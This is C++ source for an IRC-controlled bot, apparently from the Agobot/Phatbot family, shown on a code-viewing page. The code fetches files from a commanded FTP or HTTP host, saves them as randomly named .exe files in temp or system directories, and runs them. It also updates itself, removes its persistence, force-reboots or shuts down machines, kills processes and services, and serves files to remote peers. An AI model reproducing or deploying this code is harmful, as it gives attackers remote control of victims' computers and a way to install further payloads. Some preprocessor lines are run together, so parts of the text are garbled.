📄 utility.cpp.svn-base
字号:
// If the path is empty, create a random one
#ifdef _WIN32 if(!m_sPath.Compare("")) {
char szTempPath[MAX_PATH];
GetTempPath(sizeof(szTempPath), szTempPath);
strncat(szTempPath, "\\", sizeof(szTempPath));
strncat(szTempPath, RndNick(""), sizeof(szTempPath));
strncat(szTempPath, ".exe", sizeof(szTempPath));
if(!Writable(szTempPath)) {
GetSystemDirectory(szTempPath, sizeof(szTempPath));
strncat(szTempPath, "\\", sizeof(szTempPath));
strncat(szTempPath, RndNick(""), sizeof(szTempPath));
strncat(szTempPath, ".exe", sizeof(szTempPath));
if(!Writable(szTempPath)) {
strcpy(szTempPath, "");
strncat(szTempPath, "C:\\", sizeof(szTempPath));
strncat(szTempPath, RndNick(""), sizeof(szTempPath));
strncat(szTempPath, ".exe", sizeof(szTempPath));
if(!Writable(szTempPath)) {
strcpy(szTempPath, "");
strncat(szTempPath, "D:\\", sizeof(szTempPath));
strncat(szTempPath, RndNick(""), sizeof(szTempPath));
strncat(szTempPath, ".exe", sizeof(szTempPath));
if(!Writable(szTempPath)) {
strcpy(szTempPath, "");
}
}
}
}
if(!strcmp(szTempPath, "")) return NULL;
m_sPath.Assign(szTempPath);
}
#else if(!m_sPath.Compare("")) {
char szTempPath[MAX_PATH];
strncat(szTempPath, "/tmp/", sizeof(szTempPath));
strncat(szTempPath, RndNick(""), sizeof(szTempPath));
if(!Writable(szTempPath)) {
strcpy(szTempPath, "");
}
if(!strcmp(szTempPath, "")) return NULL;
m_sPath.Assign(szTempPath);
}
#endif // _WIN32
if(m_bFTP) if(!m_sUser.Compare("") || !m_sPass.Compare("")) return NULL;
// Get the port from the host, set it to default if none is specified
int iPort=0; if(m_sHost.Token(1, ":").Compare("")) iPort=atoi(m_sHost.Token(1, ":").CStr());
if(iPort==0) if(m_bFTP) iPort=21; else iPort=80;
// Store only the ip/host in m_sHost
CString sTemp(m_sHost.Token(0, ":")); m_sHost.Assign(sTemp);
// Expand environment variables if compiled on Win32
#ifdef WIN32
char szTemp[MAX_PATH]; ExpandEnvironmentStrings(m_sTarget.CStr(), szTemp, MAX_PATH); m_sTarget.Assign(szTemp);
#endif
if(m_bFTP)
{ netbuf *nControl; FtpInit();
if(!FtpConnect(m_sHost.CStr(), &nControl))
{ g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to ftp.", m_sReplyTo);
return NULL; }
if(!FtpLogin(m_sUser.CStr(), m_sPass.CStr(), nControl))
{ g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to login to ftp.", m_sReplyTo);
return NULL; }
g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
if(!FtpGet(m_sTarget.CStr(), m_sPath.CStr(), FTPLIB_IMAGE, nControl))
{ g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to download from ftp.", m_sReplyTo);
return NULL; }
FtpQuit(nControl); }
else
{ CSocket sSocket; int d; CString sSendBuf, sReply;
if(!sSocket.Connect(m_sHost.CStr(), iPort))
{ g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to http.", m_sReplyTo);
return NULL; }
sSendBuf.Format("GET %s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en]\r\nHost: %s:%d\r\n\r\n", m_sPath.CStr(), m_sHost.CStr(), iPort);
sSocket.Write(sSendBuf.CStr(), sSendBuf.GetLength());
g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
FILE *file=fopen(m_sTarget.CStr(),"wb");
if(!file) { g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Failed to open file.", m_sReplyTo); return NULL; }
char szBuf[4096];
while(true)
{ int i; sSocket.Recv(szBuf, 4096, &i);
if(i<=0) break; if(i<4096) szBuf[i]=0;
for(d=0;d<i;d++) if(!strncmp(szBuf+d,"\r\n\r\n",4))
{ for (d+=4;d<i;d++) fputc(szBuf[d],file);
goto done_http; } }
done_http:
while(true)
{ int i; sSocket.Recv(szBuf, 4096, &i);
if(i<=0) break; if(i<4096) szBuf[i]=0;
for(d=0;d<i;d++) fputc(szBuf[d],file); }
fclose(file);
sSocket.Disconnect();
}
if(!m_bUpdate)
{ //download isn't an update
g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished.", m_sTarget.CStr());
if(m_bExecute)
{ Execute(m_sTarget.CStr(), "");
g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "opened %s.", m_sTarget.CStr()); } }
else
{ //download is an update
g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished, updating...", m_sTarget.CStr());
if(CreateProc(m_sTarget.Str(), "-update"))
{ // successful update, remove and exit
#ifdef WIN32
if(g_pMainCtrl->m_cBot.as_enabled.bValue)
g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
if(g_pMainCtrl->m_cBot.as_service.bValue)
ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
g_pMainCtrl->m_cInstaller.Uninstall(); g_pMainCtrl->m_bRunning=false; exit(1); }
else
g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "update failed: error executing file.", m_sReplyTo.Str()); }
return NULL; }
void CRSLControl::Init() {
REGCMD(m_cmdReboot, "rsl.reboot", "reboots the computer", false, this);
REGCMD(m_cmdShutdown, "rsl.shutdown", "shuts the computer down", false, this);
REGCMD(m_cmdLogoff, "rsl.logoff", "logs the user off", false, this);
}
bool CRSLControl::HandleCommand(CMessage *pMsg) {
if(!pMsg->sCmd.Compare("rsl.reboot")) {
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
"rebooting...");
#ifdef WIN32
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);
#else
system("reboot");
#endif // WIN32
} else if(!pMsg->sCmd.Compare("rsl.shutdown")) {
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
"shutting down...");
#ifdef WIN32
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
#else
system("shutdown");
#endif // WIN32
} else if(!pMsg->sCmd.Compare("rsl.logoff")) {
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
"logging off...");
#ifdef WIN32
ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);
#else
system("init 1");
#endif // WIN32
}
return false; }
void CProcessControl::Init() {
REGCMD(m_cmdList, "pctrl.list", "lists all processes", false, this);
REGCMD(m_cmdKill, "pctrl.kill", "kills a process", false, this);
REGCMD(m_cmdListSvc,"pctrl.listsvc","lists all services", false, this);
REGCMD(m_cmdKillSvc,"pctrl.killsvc","deletes/stops service",false, this);
REGCMD(m_cmdKillPid,"pctrl.killpid","kills a pid", false, this);
}
bool CProcessControl::HandleCommand(CMessage *pMsg) {
if(!pMsg->sCmd.Compare("pctrl.list")) {
#ifdef _WIN32
list<process_info> lProcesses; if(ListProcesses(&lProcesses)) {
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ process list ]-", pMsg->sReplyTo.Str());
list<process_info>::iterator ip; int iCount=0;
for(ip=lProcesses.begin(); ip!=lProcesses.end(); ++ip)
{ iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"%d. / Pid: %d / \"%s\"", iCount, (*ip).lProcessPid, (*ip).sProcessName.CStr());
Sleep(1500); }
}
#endif // _WIN32
return true;
} else if(!pMsg->sCmd.Compare("pctrl.kill")) {
if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
KillProcess(pMsg->sChatString.Token(1, " ").CStr());
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "killed process: %s",
pMsg->sChatString.Token(1, " ").Str());
return true;
} else if(!pMsg->sCmd.Compare("pctrl.listsvc")) {
#ifdef _WIN32
list<CString> lServices; if(ListServices(&lServices)) {
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ service list ]-", pMsg->sReplyTo.Str());
list<CString>::iterator ip; int iCount=0;
for(ip=lServices.begin(); ip!=lServices.end(); ++ip)
{ iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "%d. / %s", \
iCount, (*ip).CStr());
Sleep(1500); }
}
#endif // _WIN32
return true;
} else if(!pMsg->sCmd.Compare("pctrl.killsvc")) {
#ifdef _WIN32
if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
KillService(pMsg->sChatString.Token(1, " ").CStr());
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "killed service: %s",
pMsg->sChatString.Token(1, " ").Str());
#endif // _WIN32
return true;
} else if(!pMsg->sCmd.Compare("pctrl.killpid")) {
if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
unsigned long lPid=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!lPid) return false;
return KillPid(lPid);
}
return false; }
void *CCmdExecutor::Run()
{ try {
while(!m_bMsgSet) Sleep(1000);
g_pMainCtrl->m_cBot.Recv(&m_mMsg, m_bInternal);
#ifdef PtW32CatchAll
} PtW32CatchAll {
#else
} catch(...) {
#endif
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(2, "CCmdExecutor: Exception in \"%s\".\n", m_mMsg.sChatString.CStr());
#endif // DBGCONSOLE
}
return NULL; }
void CCmdExecutor::Set(CMessage *pMsg, bool bInternal)
{ m_pMsg=pMsg; m_mMsg.bNotice=m_pMsg->bNotice; m_mMsg.bSilent=m_pMsg->bSilent;
m_mMsg.bOutchan=m_pMsg->bOutchan; m_mMsg.sSrc.Assign(m_pMsg->sSrc);
m_mMsg.sIdentd.Assign(m_pMsg->sIdentd); m_mMsg.sHost.Assign(m_pMsg->sHost); m_mMsg.sDest.Assign(m_pMsg->sDest);
m_mMsg.sChatString.Assign(m_pMsg->sChatString); m_bMsgSet=true; m_bInternal=bInternal; }
void *CSendFile::Run()
{ if(!m_sClientSocket) return NULL;
unsigned char fileBuf[4096]; FILE *fp=NULL;
// Get the remote ip via getpeername
sockaddr sa; socklen_t sas=sizeof(sa); memset(&sa, 0, sizeof(sa)); m_sClientSocket->GetPeerName(&sa, &sas);
// Break if the ip is 0.0.0.0
if(!(unsigned char)sa.sa_data[2]) return NULL;
if(g_pMainCtrl->m_cBot.scaninfo_level.iValue>=2) {
g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
"CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]); }
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
int count=4096; CString sFileName; GetFilename(sFileName.GetBuffer(4096), 4096);
CString sOutFileName(sFileName);
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Trying to open %s.\n", this, sOutFileName.CStr());
#endif
fp=fopen(sOutFileName.CStr(), "rb");
if(fp) {
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Sending file...\n", this);
#endif
fseek(fp, 0, SEEK_END); long filesize=ftell(fp); fseek(fp, 0, SEEK_SET);
char *filesize1=(char*)&filesize; char fsbuf[4]; fsbuf[4]='\0';
fsbuf[0]=(char)filesize1[0]; fsbuf[1]=(char)filesize1[1];
fsbuf[2]=(char)filesize1[2]; fsbuf[3]=(char)filesize1[3];
m_sClientSocket->Write((char*)fsbuf, sizeof(long));
while(!feof(fp))
{ memset(fileBuf, 0, sizeof(fileBuf));
count=fread(fileBuf, sizeof(char), 4096, fp);
if(ferror(fp)) break;
m_sClientSocket->Write((char*)fileBuf, count); }
if (g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 1)
{
g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
"CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
}
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
fclose(fp); }
m_sClientSocket->Disconnect(); delete m_sClientSocket; return NULL; }
void *CSendFileFTP::Run()
{ if(!m_sClientSocket) return NULL;
unsigned char fileBuf[4096]; FILE *fp=NULL;
// Get the remote ip via getpeername
sockaddr sa; socklen_t sas=sizeof(sa); memset(&sa, 0, sizeof(sa)); m_sClientSocket->GetPeerName(&sa, &sas);
// Break if the ip is 0.0.0.0
if(!(unsigned char)sa.sa_data[2]) return NULL;
if(g_pMainCtrl->m_cBot.scaninfo_level.iValue>=2) {
g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
"CSendFileFTP(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]); }
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "CSendFileFTP(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
int count=4096; CString sFileName; GetFilename(sFileName.GetBuffer(4096), 4096);
CString sOutFileName(sFileName);
char szRecvBuf[2048]; bool bPasv=false;
int iPort; char szIp[128]; unsigned short sPasvPort;
CSocket sPasvListenSocket; CSocket sSendSocket;
#ifdef _WIN32 char *szWelcome="220 Bot Server (Win32)\r\n";
#else char *szWelcome="220 Bot Server (Linux)\r\n";
#endif // _WIN32 m_sClientSocket->Write(szWelcome, strlen(szWelcome));
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -